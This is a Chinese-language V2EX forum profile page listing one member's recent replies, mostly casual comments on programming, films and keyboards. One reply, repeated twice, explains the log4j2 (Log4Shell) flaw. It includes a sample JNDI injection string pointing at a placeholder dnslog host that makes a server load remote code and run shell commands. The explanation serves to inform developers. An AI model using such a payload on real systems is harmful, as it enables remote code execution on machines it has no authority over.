ixx 最近的时间轴更新 ixx 最近的时间轴更新 |
ixxV2EX 第 124943 号会员，加入于 2015-06-30 19:14:05 +08:00今日活跃度排名 2365 |
https://jisuye.com
北京
iuv
ixx 最近回复了
6 天前 回复了 youyoumarco 创建的主题 › 互联网 › 想知道大家对现在“元宇宙”怎么看 |
@eason1874 #24 800MB+? 是说 QQ 吗 🙈
6 天前 回复了 beeyoung 创建的主题 › 程序员 › 凌晨四点 海棠花未眠 |
“没有可检查的对象” 😂
7 天前 回复了 3kkkk 创建的主题 › 程序员 › 最近接手了几个 Java springboot 项目，看能让你吐血不 |
故事要从第一个 springboot demo 开始.....
12 天前 回复了 hoko1814 创建的主题 › 剧集 › 2021 年至今你看过「最好」和「最烂」的电影或电视剧是？不限上映时间。 |
哈哈有几个电影反复出现在大家的最好和最烂里 😂
22 天前 回复了 omysho 创建的主题 › 反馈 › 2021－ 12－ 28 0:00 左右 V2EX 无法访问是什么原因 |
9 点左右好像就挂了访问好像一直是一个 cdn 缓存页面，提示原站下线了……
35 天前 回复了 chenz197 创建的主题 › 机械键盘 › 有推荐的机械键盘吗 预算不超过 500 茶轴优先 |
@ccming #60 奇怪的配列 😄
35 天前 回复了 chenz197 创建的主题 › 机械键盘 › 有推荐的机械键盘吗 预算不超过 500 茶轴优先 |
39 天前 回复了 Jooooooooo 创建的主题 › 程序员 › log4j2 的漏洞大家今天晚上修复吗? |
@vincent956 #79 springboot 默认是没有影响的
40 天前 回复了 eviladan0s 创建的主题 › Java › 颤抖吧 Javaer， log4j 史诗级漏洞 |
@sagaxu #13 确认了一下 参数传入也会触发
40 天前 回复了 Jooooooooo 创建的主题 › 程序员 › log4j2 的漏洞大家今天晚上修复吗? |
@jinzhongyuan #13 通俗点说一下问题
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数
如果前台传的是构造的参数如： ${jndi:ldap://xxxx.dnslog.cn/exp}
exp 返回的是一个构造方法里执行 shell 代码的 class 文件
然后你设置的什么命令服务器接收到参数后就执行这个命令了
一般代码里会记录请求参数 如登录时记录 log.info("user:{} is login", name); 这个 name 是前台传过来的参数
如果前台传的是构造的参数如： ${jndi:ldap://xxxx.dnslog.cn/exp}
exp 返回的是一个构造方法里执行 shell 代码的 class 文件
然后你设置的什么命令服务器接收到参数后就执行这个命令了
Select Language